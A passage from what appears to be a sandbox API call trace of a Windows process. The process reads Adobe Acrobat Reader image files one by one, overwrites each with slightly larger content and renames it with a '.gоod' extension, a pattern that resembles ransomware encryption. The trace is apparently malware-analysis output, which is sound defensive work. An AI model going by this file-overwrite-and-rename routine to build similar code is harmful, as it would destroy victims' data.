(dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0141.735] GetFileType (hFile=0x6e4) returned 0x1 [0141.735] WriteFile (in: hFile=0x6e4, lpBuffer=0x3681918*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdeb088, lpOverlapped=0x0 | out: lpBuffer=0x3681918*, lpNumberOfBytesWritten=0x1fdeb088*=0x1010, lpOverlapped=0x0) returned 1 [0141.735] CloseHandle (hObject=0x6e4) returned 1 [0141.735] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int_2x.gif", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int_2x.gif", lpFilePart=0x0) returned 0x7d [0141.735] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int_2x.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int_2x.gif.gоod", lpFilePart=0x0) returned 0x82 [0141.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeafc0) returned 1 [0141.736] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int_2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\a12_spinner_int_2x.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdeb0a0 | out: lpFileInformation=0x1fdeb0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x50b18cf4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4048)) returned 1 [0141.736] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeaf80) returned 1 [0141.736] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int_2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\a12_spinner_int_2x.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int_2x.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\a12_spinner_int_2x.gif.gоod")) returned 1 [0141.737] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adc_logo.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adc_logo.png", lpFilePart=0x0) returned 0x73 [0141.737] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb000) returned 1 [0141.738] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adc_logo.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\adc_logo.png"), fInfoLevelId=0x0, lpFileInformation=0x391e2e8 | out: lpFileInformation=0x391e2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xe7d)) returned 1 [0141.738] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeafc0) returned 1 [0141.738] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adc_logo.png", nBufferLength=0x105, lpBuffer=0x1fdea990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adc_logo.png", lpFilePart=0x0) returned 0x73 [0141.738] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaeb0) returned 1 [0141.738] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adc_logo.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\adc_logo.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0141.738] GetFileType (hFile=0x6e4) returned 0x1 [0141.738] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae20) returned 1 [0141.738] GetFileType (hFile=0x6e4) returned 0x1 [0141.738] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1fdeb058 | out: lpFileSizeHigh=0x1fdeb058*=0x0) returned 0xe7d [0141.738] ReadFile (in: hFile=0x6e4, lpBuffer=0x391f4c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeaf88, lpOverlapped=0x0 | out: lpBuffer=0x391f4c0*, lpNumberOfBytesRead=0x1fdeaf88*=0xe7d, lpOverlapped=0x0) returned 1 [0141.739] CloseHandle (hObject=0x6e4) returned 1 [0141.765] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adc_logo.png", nBufferLength=0x105, lpBuffer=0x1fdea990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adc_logo.png", lpFilePart=0x0) returned 0x73 [0141.765] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaeb0) returned 1 [0141.765] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adc_logo.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\adc_logo.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0141.766] GetFileType (hFile=0x6e4) returned 0x1 [0141.766] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae20) returned 1 [0141.766] GetFileType (hFile=0x6e4) returned 0x1 [0141.767] WriteFile (in: hFile=0x6e4, lpBuffer=0x399b478*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x1fdeae98, lpOverlapped=0x0 | out: lpBuffer=0x399b478*, lpNumberOfBytesWritten=0x1fdeae98*=0xe80, lpOverlapped=0x0) returned 1 [0141.767] CloseHandle (hObject=0x6e4) returned 1 [0141.767] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adc_logo.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adc_logo.png", lpFilePart=0x0) returned 0x73 [0141.767] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adc_logo.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adc_logo.png.gоod", lpFilePart=0x0) returned 0x78 [0141.767] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeafc0) returned 1 [0141.768] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adc_logo.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\adc_logo.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdeb0a0 | out: lpFileInformation=0x1fdeb0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x50b6516c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe80)) returned 1 [0141.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeaf80) returned 1 [0141.768] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adc_logo.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\adc_logo.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adc_logo.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\adc_logo.png.gоod")) returned 1 [0141.768] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adobe_spinner.gif", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adobe_spinner.gif", lpFilePart=0x0) returned 0x78 [0141.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb000) returned 1 [0141.768] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adobe_spinner.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\adobe_spinner.gif"), fInfoLevelId=0x0, lpFileInformation=0x399c820 | out: lpFileInformation=0x399c820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x22c)) returned 1 [0142.520] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeafc0) returned 1 [0142.520] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adobe_spinner.gif", nBufferLength=0x105, lpBuffer=0x1fdea990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adobe_spinner.gif", lpFilePart=0x0) returned 0x78 [0142.520] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaeb0) returned 1 [0142.524] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adobe_spinner.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\adobe_spinner.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0142.524] GetFileType (hFile=0x61c) returned 0x1 [0142.524] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae20) returned 1 [0142.524] GetFileType (hFile=0x61c) returned 0x1 [0142.524] GetFileSize (in: hFile=0x61c, lpFileSizeHigh=0x1fdeb058 | out: lpFileSizeHigh=0x1fdeb058*=0x0) returned 0x22c [0142.524] ReadFile (in: hFile=0x61c, lpBuffer=0x3bfedf0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeaf88, lpOverlapped=0x0 | out: lpBuffer=0x3bfedf0*, lpNumberOfBytesRead=0x1fdeaf88*=0x22c, lpOverlapped=0x0) returned 1 [0142.525] CloseHandle (hObject=0x61c) returned 1 [0142.552] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adobe_spinner.gif", nBufferLength=0x105, lpBuffer=0x1fdea990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adobe_spinner.gif", lpFilePart=0x0) returned 0x78 [0142.552] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaeb0) returned 1 [0142.552] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adobe_spinner.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\adobe_spinner.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0142.553] GetFileType (hFile=0x61c) returned 0x1 [0142.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae20) returned 1 [0142.553] GetFileType (hFile=0x61c) returned 0x1 [0142.553] WriteFile (in: hFile=0x61c, lpBuffer=0x3c76d68*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x1fdeae98, lpOverlapped=0x0 | out: lpBuffer=0x3c76d68*, lpNumberOfBytesWritten=0x1fdeae98*=0x230, lpOverlapped=0x0) returned 1 [0142.554] CloseHandle (hObject=0x61c) returned 1 [0142.554] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adobe_spinner.gif", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adobe_spinner.gif", lpFilePart=0x0) returned 0x78 [0142.554] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adobe_spinner.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adobe_spinner.gif.gоod", lpFilePart=0x0) returned 0x7d [0142.554] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeafc0) returned 1 [0142.554] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adobe_spinner.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\adobe_spinner.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdeb0a0 | out: lpFileInformation=0x1fdeb0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x512d8588, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x230)) returned 1 [0142.554] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeaf80) returned 1 [0142.554] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adobe_spinner.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\adobe_spinner.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adobe_spinner.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\adobe_spinner.gif.gоod")) returned 1 [0146.154] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adobe_spinner_mini.gif", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adobe_spinner_mini.gif", lpFilePart=0x0) returned 0x7d [0146.154] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb000) returned 1 [0146.154] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adobe_spinner_mini.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\adobe_spinner_mini.gif"), fInfoLevelId=0x0, lpFileInformation=0x37d3d60 | out: lpFileInformation=0x37d3d60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x12f)) returned 1 [0146.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeafc0) returned 1 [0146.155] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adobe_spinner_mini.gif", nBufferLength=0x105, lpBuffer=0x1fdea990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adobe_spinner_mini.gif", lpFilePart=0x0) returned 0x7d [0146.155] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaeb0) returned 1 [0146.155] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adobe_spinner_mini.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\adobe_spinner_mini.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0146.155] GetFileType (hFile=0x630) returned 0x1 [0146.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae20) returned 1 [0146.155] GetFileType (hFile=0x630) returned 0x1 [0146.155] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1fdeb058 | out: lpFileSizeHigh=0x1fdeb058*=0x0) returned 0x12f [0146.155] ReadFile (in: hFile=0x630, lpBuffer=0x37d4238, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeaf88, lpOverlapped=0x0 | out: lpBuffer=0x37d4238*, lpNumberOfBytesRead=0x1fdeaf88*=0x12f, lpOverlapped=0x0) returned 1 [0146.156] CloseHandle (hObject=0x630) returned 1 [0146.193] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adobe_spinner_mini.gif", nBufferLength=0x105, lpBuffer=0x1fdea990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adobe_spinner_mini.gif", lpFilePart=0x0) returned 0x7d [0146.193] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaeb0) returned 1 [0146.193] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adobe_spinner_mini.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\adobe_spinner_mini.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0146.194] GetFileType (hFile=0x630) returned 0x1 [0146.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae20) returned 1 [0146.194] GetFileType (hFile=0x630) returned 0x1 [0146.194] WriteFile (in: hFile=0x630, lpBuffer=0x384bff0*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x1fdeae98, lpOverlapped=0x0 | out: lpBuffer=0x384bff0*, lpNumberOfBytesWritten=0x1fdeae98*=0x130, lpOverlapped=0x0) returned 1 [0146.195] CloseHandle (hObject=0x630) returned 1 [0146.195] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adobe_spinner_mini.gif", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adobe_spinner_mini.gif", lpFilePart=0x0) returned 0x7d [0146.195] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adobe_spinner_mini.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adobe_spinner_mini.gif.gоod", lpFilePart=0x0) returned 0x82 [0146.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeafc0) returned 1 [0146.195] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adobe_spinner_mini.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\adobe_spinner_mini.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdeb0a0 | out: lpFileInformation=0x1fdeb0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x5359334f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x130)) returned 1 [0146.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeaf80) returned 1 [0146.195] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adobe_spinner_mini.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\adobe_spinner_mini.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adobe_spinner_mini.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\adobe_spinner_mini.gif.gоod")) returned 1 [0146.196] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-114x114-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-114x114-precomposed.png", lpFilePart=0x0) returned 0x8f [0146.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb000) returned 1 [0146.196] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-114x114-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\apple-touch-icon-114x114-precomposed.png"), fInfoLevelId=0x0, lpFileInformation=0x384d3d0 | out: lpFileInformation=0x384d3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x12a5)) returned 1 [0146.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeafc0) returned 1 [0146.342] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-114x114-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-114x114-precomposed.png", lpFilePart=0x0) returned 0x8f [0146.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0146.342] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-114x114-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\apple-touch-icon-114x114-precomposed.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0146.387] GetFileType (hFile=0x804) returned 0x1 [0146.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0146.387] GetFileType (hFile=0x804) returned 0x1 [0146.387] SetFilePointer (in: hFile=0x804, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x1000 [0146.388] ReadFile (in: hFile=0x804, lpBuffer=0x37d4e70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeb028, lpOverlapped=0x0 | out: lpBuffer=0x37d4e70*, lpNumberOfBytesRead=0x1fdeb028*=0x2a5, lpOverlapped=0x0) returned 